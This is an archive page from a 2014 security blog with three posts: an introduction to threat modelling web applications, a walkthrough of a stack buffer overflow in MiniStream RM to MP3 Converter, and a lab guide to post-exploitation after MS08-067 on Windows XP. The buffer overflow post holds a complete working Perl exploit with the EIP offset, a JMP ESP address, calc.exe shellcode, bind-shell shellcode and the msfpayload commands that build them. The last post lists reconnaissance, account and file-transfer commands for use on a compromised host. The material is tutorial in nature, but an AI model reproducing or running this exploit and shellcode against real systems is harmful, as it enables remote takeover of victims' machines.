Mutant: 2014

Thursday 25 December 2014

Threat Modelling Web Applications_Part_1: Introduction

The introduction would generally explain what threat modeling is. However, it takes more than a few lines to do that. In fact one may start understanding in parts by the end of numerous such exercises, how it works.

Let’s answer the question of ‘Why’ Threat modeling is required in the first place.

Today a sizable number of testers perform vulnerability assessments and penetration testing for a wide variety of web applications. As it is, the benefits of a good Penetration test are guaranteed:

· Dynamic but comprehensive assessment of application
· Precise findings
· Tells the likelihood of system 0wnage
· Accurate fixes[since we have tools to tell us the exact interface and parameter affected]
· Ability to test and retest quickly

Now let’s look carefully at each point above. A threat modeling or thorough design review can give us all the benefits from above plus the ones below:

· Great reduction in cost! The cost of fixing issues after development is considerable
· Avoids any confusion from standalone fixes or recurrence of issues
· Makes the application robust by design
· Finds any security issues first hand- yes long before they are born

Application end to end

A design review takes into consideration every single entity that interacts, provides for or is connected to the application. This way it completes all the circles and is the real end to end assessment. It treats the application like a system with its own ecology and then finds what could go wrong. It is not limited to what’s visible to the user from front end but explores possibility of issues from back-end, components, channels, etc…

Accurate findings

What makes a finding ‘concrete’ is evidence. A threat should also be accompanied by its own set of ‘soft evidence’. Except for few cases one can often cite the client to show what has indicated existence of a threat. Like how two decently secure systems being put together in a certain way can uncover a potential flaw leading to insecurity.

Note: You may generally notice this for existing designs

Likelihood of system 0wnage

The likelihood of exploiting any threats to an application can be rightly judged, when one has a bird’s eye view of the design, components and channels. This often leads to different severities for the same issues in different scenarios.

Use of Use-Cases

A use case is a visual representation of the workflow/functional scenario and involves the concerned components and actors. It helps to understand the context better and enhances the chance of quick threat identification for the same.

In ideal cases, we recommend referring to use cases. However, in a practical scenario, with time constraints for review, an experienced security engineer may skip use cases. This is normally the case for a complex design changes that needs to be deployed quickly. In such a scenario it is essential to prioritize some cases/workflows over others, in the given context.

Still before we start discussing the elements of design review[Threat Modelling] in the following posts, a short definition below with respect to web application review:

‘Threat modeling is an art of finding security flaws in and around a web application given its environment, purpose and context leading to direct or indirect compromise or loss to business.’

Note:

The reader is expected to possess basic understanding of how web applications work and offensive attack techniques that could be used to subvert the same.

In the future posts, I shall touch upon many aspects of Threat modeling and design review. The reader should keep in mind that these just list some checkpoints in the context of threat modeling web applications and are not exhaustive in any way.

Basic Buffer Overflow - MiniStream RM to MP3 Converter

This article explains a basic stack based buffer overflow for MiniStream RM to MP3 Converter and has been demonstrated on XP SP3. All links have been provided at the end of article.

I downloaded the vulnerable version [2.7.3.x] of the Converter to my windows victim box and checked if it worked. The basic PoC tells us that it is a file format based exploit. Since, the converter accepts the .m3u file format, we need to create a .m3u file and put our payload into it.

The Crash
If the vulnerability has an existing PoC, it helps us by saving the initial time required to find the length of the buffer that triggers the crash. So with this initial knowledge I wrote a perl script to check if I could crash the converter.

After some trying, the crash happened at roughly around 30000 bytes. Below is the code:

#!/usr/bin/perl
use strict;
use warnings;

my $file= "crash.m3u";
my $junk= "\x41" x 30000;
open FILE, ">$file";
print FILE "$junk";
close FILE;

print "Created m3u file successfully\n";

I loaded the converter in the debugger to find that A's provided by me have overwritten the EIP.

Locating EIP

Now I had to find the exact location of the EIP for my victim(the one mentioned the PoC didn't work). First, I divided the buffer into A's and B's to find in which section the EIP resides. I found it to be somewhere between 25000 and 30000.

Now to get the exact location of EIP, I used 2 scripts from Kali- pattern_create.rb and pattern_offset.rb. I created a random pattern of strings to overwrite EIP and used pattern_offset to get the precise location as follows:

Using pattern_offset above the exact location of EIP was found to be 1063. This I verified using different characters[B's] to separate EIP from others and verified in next crash as below:

A's : 25000 + 1063

B's : 4

C's : 1000

Hosting Shellcode

Now that we can control the instruction pointer, we need to find a place for our shellcode and point EIP to it. This will redirect the flow of execution [directly/indirectly] to our shellcode.

Ideally we can put our shellcode both in the first part[A's] and the last[C's]. I went ahead with the C's. We see that we can place the shellcode there and point the control to ESP to execute our code. Hence, now we need to find the instruction for JMP ESP(to jump to our shellcode in a reliable way) and write our shell code.

Found the ESP after 4 bytes '.1AB' shown above

Find Instruction

Using the debugger, I searched for the JMP ESP or FFE4[asm] instruction in the loaded application dlls and found it in MSRMCc_2 dll as :

01CFF23A //FFE4 : JMP ESP: MSRMCc_2 dll

Writing Shellcode

First I created a shellcode for calc.exe followed by one to create a bind shell connection to the victim. I used mafpayload module from Kali for creating and encoding the shellcode for the exploit.

Calc.exe

#msfpayload windows/exec CMD=calc R | msfencode -b '\x00\x0A\x0D\x6F' -t c

#[-] cmd/powershell_base64 failed: Encoding failed due to a bad character (index=1, char=0x6f)

#[*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)

#$shellcode = $shellcode."\xd9\xf6\xd9\x74\x24\xf4\xbd\xae\xc9\xc6\x4a\x58\x31\xc9\xb1".

#"\x32\x31\x68\x17\x03\x68\x17\x83\x6e\xcd\x24\xbf\x92\x26\x21".

#"\x40\x6a\xb7\x52\xc8\x8f\x86\x40\xae\xc4\xbb\x54\xa4\x88\x37".

#"\x1e\xe8\x38\xc3\x52\x25\x4f\x64\xd8\x13\x7e\x75\xec\x9b\x2c".

#"\xb5\x6e\x60\x2e\xea\x50\x59\xe1\xff\x91\x9e\x1f\x0f\xc3\x77".

#"\x54\xa2\xf4\xfc\x28\x7f\xf4\xd2\x27\x3f\x8e\x57\xf7\xb4\x24".

#"\x59\x27\x64\x32\x11\xdf\x0e\x1c\x82\xde\xc3\x7e\xfe\xa9\x68".

#"\xb4\x74\x28\xb9\x84\x75\x1b\x85\x4b\x48\x94\x08\x95\x8c\x12".

#"\xf3\xe0\xe6\x61\x8e\xf2\x3c\x18\x54\x76\xa1\xba\x1f\x20\x01".

#"\x3b\xf3\xb7\xc2\x37\xb8\xbc\x8d\x5b\x3f\x10\xa6\x67\xb4\x97".

#"\x69\xee\x8e\xb3\xad\xab\x55\xdd\xf4\x11\x3b\xe2\xe7\xfd\xe4".

#"\x46\x63\xef\xf1\xf1\x2e\x65\x07\x73\x55\xc0\x07\x8b\x56\x62".

#"\x60\xba\xdd\xed\xf7\x43\x34\x4a\x07\x0e\x15\xfa\x80\xd7\xcf".

#"\xbf\xcc\xe7\x25\x83\xe8\x6b\xcc\x7b\x0f\x73\xa5\x7e\x4b\x33".

#"\x55\xf2\xc4\xd6\x59\xa1\xe5\xf2\x39\x24\x76\x9e\xbd";

Bind Shell on port 5555:

#root@Singularity:/usr/share/metasploit-framework# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=5555 R | msfencode 'x86/shikata_ga_nai' -b '\x00\x0A\x0D\x6F' -t c

Finally, I wrote my script to replace the value of EIP with the location for 'JMP ESP' as found above. Following this, I added my shellcode(first the calc.exe and later bind shell code) preceded by some NOPs. The final code looks like :

#!/usr/bin/perl

use strict;

use warnings;

my $file= "crash.m3u";

my $junk= "\x41" x 26063;

my $eip = pack('V',0x01CFF23A); # 01CFF23A JMP ESP:MSRMCc_2.dll

my $shellcode = "\x90" x 25;

#shellcode for windows_bind_shell

$shellcode = $shellcode."\xba\xc4\xaa\xc1\xec\xda\xcf\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1".

"\x56\x31\x56\x13\x83\xc6\x04\x03\x56\xcb\x48\x34\x10\x3b\x05".

"\xb7\xe9\xbb\x76\x31\x0c\x8a\xa4\x25\x44\xbe\x78\x2d\x08\x32".

"\xf2\x63\xb9\xc1\x76\xac\xce\x62\x3c\x8a\xe1\x73\xf0\x12\xad".

"\xb7\x92\xee\xac\xeb\x74\xce\x7e\xfe\x75\x17\x62\xf0\x24\xc0".

"\xe8\xa2\xd8\x65\xac\x7e\xd8\xa9\xba\x3e\xa2\xcc\x7d\xca\x18".

"\xce\xad\x62\x16\x98\x55\x09\x70\x39\x67\xde\x62\x05\x2e\x6b".

"\x50\xfd\xb1\xbd\xa8\xfe\x83\x81\x67\xc1\x2b\x0c\x79\x05\x8b".

"\xee\x0c\x7d\xef\x93\x16\x46\x8d\x4f\x92\x5b\x35\x04\x04\xb8".

"\xc7\xc9\xd3\x4b\xcb\xa6\x90\x14\xc8\x39\x74\x2f\xf4\xb2\x7b".

"\xe0\x7c\x80\x5f\x24\x24\x53\xc1\x7d\x80\x32\xfe\x9e\x6c\xeb".

"\x5a\xd4\x9f\xf8\xdd\xb7\xf7\xcd\xd3\x47\x08\x59\x63\x3b\x3a".

"\xc6\xdf\xd3\x76\x8f\xf9\x24\x78\xba\xbe\xbb\x87\x44\xbf\x92".

"\x43\x10\xef\x8c\x62\x18\x64\x4d\x8a\xcd\x2b\x1d\x24\xbd\x8b".

"\xcd\x84\x6d\x64\x04\x0b\x52\x94\x27\xc1\xe5\x92\xe9\x31\xa6".

"\x74\x08\xc6\x5d\x36\x85\x20\x37\x28\xc0\xfb\xaf\x8a\x37\x34".

"\x48\xf4\x1d\x68\xc1\x62\x29\x66\xd5\x8d\xaa\xac\x76\x21\x02".

"\x27\x0c\x29\x97\x56\x13\x64\xbf\x11\x2c\xef\x35\x4c\xff\x91".

"\x4a\x45\x97\x32\xd8\x02\x67\x3c\xc1\x9c\x30\x69\x37\xd5\xd4".

"\x87\x6e\x4f\xca\x55\xf6\xa8\x4e\x82\xcb\x37\x4f\x47\x77\x1c".

"\x5f\x91\x78\x18\x0b\x4d\x2f\xf6\xe5\x2b\x99\xb8\x5f\xe2\x76".

"\x13\x37\x73\xb5\xa4\x41\x7c\x90\x52\xad\xcd\x4d\x23\xd2\xe2".

"\x19\xa3\xab\x1e\xba\x4c\x66\x9b\xc4\xbd\xba\x36\x50\x64\x2f".

"\x7b\x3c\x97\x9a\xb8\x39\x14\x2e\x41\xbe\x04\x5b\x44\xfa\x82".

"\xb0\x34\x93\x66\xb6\xeb\x94\xa2";

open FILE, ">$file";

print FILE "$junk.$eip.$shellcode";

close FILE;

I tried importing this .m3u file in the converter this time to pop calculator in the first case.

This confirmed that our shellcode executed successfully. I replaced this with our bind-shell shellcode and imported the new .m3u file generated into the converter.

Owned!

Note: It is expected that the reader understands the concept of registers and memory.

Links:

Corelan

Converter

Immunity Debugger

Sample PoC

Tuesday 14 January 2014

Basic Post Exploitation in Windows

This is a basic post to demonstrate post exploitation techniques in a windows victim using basic windows commands. The exploit being run in this case is the netapi exploit. It is highly recommended to understand the where the flaw is in the system and mechanism used by the exploit code to run the payload and the odds there upon.

MS 08-067: Vulnerability in Server Service Could Allow Remote Code Execution

This security update resolves a privately reported vulnerability in the Server service. The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code.

Target: A windows XP SP3 basic machine

Victim: 192.168.78.132 [Windows XP]

Attacker: 192.168.78.135 [Kali]

As a first step, I scanned the victim for open ports to check which services are running on the victim and if any of those could be exploited.

After some searches, I found the RPC service vulnerable to the above mentioned netapi exploit. Remember to check out the OS platform and version details to streamline and use the right exploit.

This one is also present in metasploit, so to keep matters simple I chose to use run it using the msf framework. The payload details are given below:

PAYLOAD: bind_shell_tcp

[We may take up metasploit basics in later posts]

Running the Exploit:

Once the right exploit and payload are identified, running the exploit on the target using metasploit, is kinda short and sweet. I set the below options for netapi.

The attack successfully launched me into the victim shell. I confirmed the IP just to be sure :)

On the other side the I checked the connection was established. More often than not, in a realistic attack scenario these connections are weak and may need running the exploit a couple of times to stabilize enough for an extended post exploitation.

Post Exploitation: IsLand NaTi0n

The first question we have on mind after a hard earned battle is - what next!

Its not a question, its a huge possibility. Although with the advent of msf/metasploit, this one thing has been kind of automated (using meterpreter with some cool post exploitation commands and partly using payloads), I would encourage the reader to be armed with basic but necessary post exploitation OS commands. Meterpreter is not always an option ;)

Some basic commands which we always use are:

dir

copy/del/mkdir/move

and others ..

Some typically of use are given below:

Informational:

* systeminfo: Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties, such as RAM, disk space, and network cards.
systeminfo[.exe] [/s Computer [/u Domain\User [/p Password]]] [/fo {TABLE|LIST|CSV}] [/nh]

A sample response for the above victim shows

Host Name:                 COMP-0CD0146D
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:          COMP
*

*
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: VMware Accelerated AMD PCNet Adapter
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.78.254
                                 IP address(es)
                                 [01]: 192.168.78.132

* tasklist :Displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer.

Administration:

*gpresult: Displays Group Policy settings and Resultant Set of Policy (RSOP) for a user or a computer.

*gpupdate : The gpupdate command is used to update Group Policy settings.

* net user:Adds or modifies user accounts or displays user account information.
net user [UserName [Password | *] [options]] [/domain]
net user [UserName {Password | *} /add [options] [/domain]]
net user [UserName [/delete] [/domain]]

Network:

*ipconfig: The ipconfig command is used to display detailed IP information for each network adapter utilizing TCP/IP. The ipconfig command can also be used to release and renew IP addresses on systems configured to receive them via a DHCP server.

*netsh: Netsh is a command-line scripting utility that allows you to, either locally or remotely, display or modify the network configuration of a computer that is currently running.Netsh also provides a scripting feature that allows you to run a group of commands in batch mode against a specified computer. Netsh can also save a configuration script in a text file for archival purposes or to help you configure other servers.

set - Updates configuration settings.
show - Displays information.

The net commands: Numerous commands in this suite. Do check out each one. Listing a couple of them here.
* net view ->Displays a list of domains, computers, or resources that are being shared by the specified computer. Used without parameters, net view displays a list of computers in your current domain.

net view [\\ComputerName] [/domain[:DomainName]]

* net use -> Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.
net use [DeviceName [/home[{Password | *}] [/delete:{yes | no}]]

*arp

* nbtstat

Displays NetBIOS over TCP/IP (NetBT) protocol statistics, NetBIOS name tables for both the local computer and remote computers, and the NetBIOS name cache. Nbtstat allows a refresh of the NetBIOS name cache and the names registered with Windows Internet Name Service (WINS). Used without parameters, nbtstat displays help.
The nbtstat command is used to show TCP/IP information and other statistical information about a remote computer.

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [interval] ]

RemoteName Remote host machine name.
IP address Dotted decimal representation of the IP address.

* route

Registry: To query the registry or change DWORD values

Transfer commands: to transfer tools, binaries, files, etc..

* ftp: The ftp command can used to transfer files to and from another computer. The remote computer must be operating as an FTP server

* tftp : Transfers files to and from a remote computer, typically a computer running UNIX, that is running the Trivial File Transfer Protocol (TFTP) service or daemon. Used without parameters, tftp displays help.

tftp [-i] [Host] [{get | put}] [Source] [Destination]

Running those tools >>

* runas
Allows a user to run specific tools and programs with different permissions than the user's current logon provides.

* rexec
Runs commands on remote computers running the Rexec service (daemon). The rexec command authenticates the user name on the remote computer before executing the specified command. Windows XP and Windows 2000 do not provide the Rexec service. Used without parameters, rexec displays help.
rexec [Host] [-l UserName] [-n] [Command]

Miscellaneous

Type: Type out a file contents

Edit: Create, edit files.

* expand: The expand command is used to extract a single file or a group of files from a compressed file.
The expand command is not available in 64-bit versions of Windows XP.

* find: The find command is used to search for a specified text string in one or more files.
* findstr: The findstr command is used to find text string patterns in one or more files.

Query Commands

* query user: Displays information about user sessions on a terminal server.
query user [{UserName|SessionName|SessionID}] [/server:ServerName]

* query termserver: Displays a list of all terminal servers on the network.

* query session: Displays information about sessions on a terminal server. The list includes information not only about active sessions but about other sessions that the server runs.

* query process: Displays information about processes running on a terminal server. You can use this command to find out which programs a specific user is running, and also which users are running a specific program.

Note: The reader is encouraged to use the help options to explore further information regarding the system.

Acknowledgement: All definitions have been taken from microsoft's documentation- http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=true